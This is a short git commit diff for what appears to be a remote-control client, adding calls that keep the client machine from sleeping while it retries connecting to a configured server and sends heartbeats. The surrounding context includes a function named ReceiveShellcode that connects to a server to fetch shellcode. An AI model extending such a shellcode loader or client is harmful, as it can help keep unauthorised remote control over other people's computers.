Improve: Avoid client computer going to sleep

This commit is contained in:
yuanyuanxiang
2025-07-26 22:49:57 +08:00
parent 43aa89b96d
commit b9228cf1e1
4 changed files with 15 additions and 1 deletions

View File

@@ -517,6 +517,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort()))
{
for (int k = 500; app.m_bIsRunning(&app) && --k; Sleep(10));
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
continue;
}
SAFE_DELETE(Manager);
@@ -529,6 +530,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
do
{
Manager->SendHeartbeat();
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
} while (ClientObject->IsRunning() && ClientObject->IsConnected() && app.m_bIsRunning(&app));
while (GetTickCount64() - dwTickCount < 5000 && app.m_bIsRunning(&app))
Sleep(200);

View File

@@ -131,6 +131,7 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) {
serverAddr.sin_addr.s_addr = inet_addr(serverIP);
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
closesocket(clientSocket);
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
continue;
}

View File

@@ -175,6 +175,7 @@ public:
serverAddr.sin_addr.s_addr = inet_addr(ip.c_str());
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
closesocket(clientSocket);
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
continue;
}
#ifdef _DEBUG